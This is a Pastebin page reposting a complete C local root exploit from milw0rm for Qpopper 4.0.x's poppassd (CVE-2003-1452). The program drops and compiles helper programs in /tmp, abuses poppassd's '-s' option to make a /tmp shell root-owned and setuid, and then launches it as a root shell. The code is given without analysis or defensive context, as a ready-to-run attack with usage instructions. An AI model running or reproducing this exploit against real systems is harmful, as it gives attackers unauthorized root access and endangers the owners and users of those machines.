API tools faq
paste
FlyFar

Qpopper 4.0.x - 'poppassd' Privilege Escalation - CVE-2003-1452

FlyFar
Jan 24th, 2024
88
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 5.67 KB | Cybersecurity | 0 0
raw download clone embed print report
  1. /*
  2. **
  3. **  Title: Qpopper v4.0.x poppassd local root exploit.
  4. **  Exploit code: 0x82-Local.Qp0ppa55d.c
  5. **
  6. ** --
  7. **  ./0x82-Local.Qp0ppa55d -u x82 -p mypasswd
  8. **
  9. **  Qpopper v4.0.x poppassd local root exploit.
  10. **                          by Xpl017Elz
  11. **
  12. */
  13.  
  14. #include <stdio.h>
  15. #include <stdlib.h>
  16. #include <unistd.h>
  17. #include <sys/stat.h>
  18.  
  19. #define BUF_SZ 0x82
  20. #define D_POPPASS "/usr/local/bin/poppassd"
  21. #define D_NAME "Happy-Exploit"
  22. #define D_SHELL "/tmp/x82"
  23. #define D_EXEC "/tmp/x0x"
  24.  
  25. int m_sh();
  26. void banrl();
  27. void usage(char *p_name);
  28. struct stat ss;
  29.  
  30. void usage(char *p_name)
  31. {
  32.     fprintf(stdout," Usage: %s -option [argument]\n",p_name);
  33.     fprintf(stdout,"\n\t-u - Qpopper username.\n");
  34.     fprintf(stdout,"\t-p - Qpopper password.\n");
  35.     fprintf(stdout,"\t-t - Qpopper poppassd path.\n");
  36.     fprintf(stdout,"\t-h - Help information.\n\n");
  37.     fprintf(stdout," Example> %s -u x82 -p %s\n\n",p_name,D_NAME);
  38.     exit(-1);
  39. }
  40.  
  41. int m_sh()
  42. {
  43.     char d_shell[BUF_SZ]=D_SHELL;
  44.     char sh_drop[BUF_SZ];
  45.     FILE *fp;
  46.    
  47.     memset((char *)sh_drop,0,sizeof(sh_drop));
  48.     snprintf(sh_drop,sizeof(sh_drop)-1,"%s.c",d_shell);
  49.    
  50.     if((fp=fopen(sh_drop,"w"))==NULL)
  51.     {
  52.         perror(" [-] fopen() error");
  53.         exit(-1);
  54.     }
  55.    
  56.     fprintf(fp,"main() {\n");
  57.     fprintf(fp,"setreuid(0,0);\nsetregid(0,0);\n");
  58.     fprintf(fp,"setuid(0);\nsetgid(0);\n");
  59.     fprintf(fp,"system(\"su -\");\n}\n");
  60.    
  61.     fclose(fp);
  62.  
  63.     memset((char *)sh_drop,0,sizeof(sh_drop));
  64.     snprintf(sh_drop,sizeof(sh_drop)-1,
  65.         "gcc -o %s %s.c >/dev/null 2>&1;"
  66.         "rm -f %s.c >/dev/null 2>&1",
  67.         d_shell,d_shell,d_shell);
  68.     system(sh_drop);
  69.    
  70.     memset((char *)d_shell,0,sizeof(d_shell));
  71.     strncpy(d_shell,D_EXEC,sizeof(d_shell)-1);
  72.    
  73.     memset((char *)sh_drop,0,sizeof(sh_drop));
  74.     snprintf(sh_drop,sizeof(sh_drop)-1,"%s.c",d_shell);
  75.    
  76.     if((fp=fopen(sh_drop,"w"))==NULL)
  77.     {
  78.         perror(" [-] fopen() error");
  79.         exit(-1);
  80.     }
  81.    
  82.     fprintf(fp,"main() {\n");
  83.     fprintf(fp,"setreuid(0,0);\nsetregid(0,0);\n");
  84.     fprintf(fp,"setuid(0);\nsetgid(0);\n");
  85.     fprintf(fp,"system(\"chown root: %s\");\n",D_SHELL);
  86.     fprintf(fp,"system(\"chmod 6755 %s\");\n}\n",D_SHELL);
  87.    
  88.     fclose(fp);
  89.  
  90.     memset((char *)sh_drop,0,sizeof(sh_drop));
  91.     snprintf(sh_drop,sizeof(sh_drop)-1,
  92.         "gcc -o %s %s.c >/dev/null 2>&1;"
  93.         "rm -f %s.c >/dev/null 2>&1",
  94.         d_shell,d_shell,d_shell);
  95.     system(sh_drop);
  96.  
  97.     if((stat(D_SHELL,&ss)==0)&&(stat(D_EXEC,&ss)==0))
  98.     {
  99.         fprintf(stdout," [+] make code.\n");
  100.         return(0);
  101.     }
  102.     else
  103.     {
  104.         fprintf(stderr," [-] code not found.\n");
  105.         return(-1);
  106.     }
  107. }
  108.  
  109. int main(int argc, char *argv[])
  110. {
  111.     int whtl;
  112.     char user_id[BUF_SZ]=D_NAME;
  113.     char passwd[BUF_SZ]=D_NAME;
  114.     char tg_path[BUF_SZ]=D_POPPASS;
  115.     char df_sh[BUF_SZ]=D_SHELL;
  116.  
  117.     (void)banrl();
  118.    
  119.     while((whtl=getopt(argc,argv,"U:u:P:p:T:t:Hh"))!=-1)
  120.     {
  121.         extern char *optarg;
  122.         switch(whtl)
  123.         {
  124.             case 'U':
  125.             case 'u':
  126.                 memset((char *)user_id,0,sizeof(user_id));
  127.                 strncpy(user_id,optarg,sizeof(user_id)-1);
  128.                 break;
  129.                
  130.             case 'P':
  131.             case 'p':
  132.                 memset((char *)passwd,0,sizeof(passwd));
  133.                 strncpy(passwd,optarg,sizeof(passwd)-1);
  134.                 break;
  135.                
  136.             case 'T':
  137.             case 't':
  138.                 memset((char *)tg_path,0,sizeof(tg_path));
  139.                 strncpy(tg_path,optarg,sizeof(tg_path)-1);
  140.                 break;
  141.                
  142.             case 'H':
  143.             case 'h':
  144.                 (void)usage(argv[0]);
  145.                 break;
  146.                
  147.             case '?':
  148.                 fprintf(stderr," Try `%s -i' for more information.\n\n",argv[0]);
  149.                 exit(-1);
  150.                 break;
  151.         }
  152.     }
  153.    
  154.     if(!strcmp(user_id,D_NAME)||!strcmp(passwd,D_NAME))
  155.     {
  156.         (void)usage(argv[0]);
  157.         exit(-1);
  158.     }
  159.     else
  160.     {
  161.         char comm[1024];
  162.         int out[2],in[2];
  163.  
  164.         if(((int)m_sh())==-1)
  165.         {
  166.             fprintf(stdout," [-] exploit failed.\n\n");
  167.             exit(-1);
  168.         }
  169.  
  170.         if(pipe(out)==-1)
  171.         {
  172.             perror(" [-] pipe() error");
  173.             exit(-1);
  174.         }
  175.        
  176.         if(pipe(in)==-1)
  177.         {
  178.             perror(" [-] pipe() error");
  179.             exit(-1);
  180.         }
  181.        
  182.         switch(fork())
  183.         {
  184.             case -1:
  185.                 perror(" [-] fork() error");
  186.                 break;
  187.  
  188.             case 0:
  189.                 close(out[0]);
  190.                 close(in[1]);
  191.                
  192.                 dup2(out[1],STDOUT_FILENO);
  193.                 dup2(in[0],STDIN_FILENO);
  194.                
  195.                 execl(tg_path,tg_path,"-s",D_EXEC,0);
  196.                 break;
  197.  
  198.             default:
  199.                 close(out[1]);
  200.                 close(in[0]);
  201.  
  202.                 fprintf(stdout," [+] execute poppassd.\n");
  203.                 memset((char *)comm,0,sizeof(comm));
  204.                 read(out[0],comm,sizeof(comm)-1);
  205.                 fprintf(stdout," %s",comm);
  206.  
  207.                 memset((char *)comm,0,sizeof(comm));
  208.                 snprintf(comm,sizeof(comm)-1,"user %s\r\n",user_id);
  209.                 fprintf(stdout," [+] input username.\n");
  210.                 write(in[1],comm,strlen(comm));
  211.  
  212.                 memset((char *)comm,0,sizeof(comm));
  213.                 read(out[0],comm,sizeof(comm)-1);
  214.                 fprintf(stdout," %s",comm);
  215.  
  216.                 memset((char *)comm,0,sizeof(comm));
  217.                 snprintf(comm,sizeof(comm)-1,"pass %s\r\n",passwd);
  218.                 fprintf(stdout," [+] input password.\n");
  219.                 write(in[1],comm,strlen(comm));
  220.  
  221.                 memset((char *)comm,0,sizeof(comm));
  222.                 read(out[0],comm,sizeof(comm)-1);
  223.                 fprintf(stdout," %s",comm);
  224.  
  225.                 memset((char *)comm,0,sizeof(comm));
  226.                 snprintf(comm,sizeof(comm)-1,"newpass %s\r\n",passwd);
  227.                 fprintf(stdout," [+] input fake new password.\n");
  228.                 write(in[1],comm,strlen(comm));
  229.  
  230.                 close(out[0]);
  231.                 close(in[1]);
  232.                 break;
  233.         }
  234.  
  235.         fprintf(stdout," [+] wait, 2sec.\n");
  236.         sleep(2);
  237.  
  238.         if((stat(D_SHELL,&ss)==0)&&(ss.st_mode&S_ISUID))
  239.         {
  240.             fprintf(stdout," [+] Ok, exploited successfully.\n");
  241.             fprintf(stdout," [*] It's Rootshell !\n\n");
  242.             unlink(D_EXEC);
  243.             execl(D_SHELL,D_SHELL,0);
  244.         }
  245.         else
  246.         {
  247.             fprintf(stdout," [-] exploit failed.\n\n");
  248.             exit(-1);
  249.         }
  250.     }
  251. }
  252.  
  253. void banrl()
  254. {
  255.     fprintf(stdout,"\n Qpopper v4.0.x poppassd local root exploit.\n");
  256.     fprintf(stdout,"                                by Xpl017Elz\n\n");
  257. }
  258.  
  259.  
  260.  
  261. // milw0rm.com [2003-04-29]
  262.            
Tags: Exploit CVE Vulnerability
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!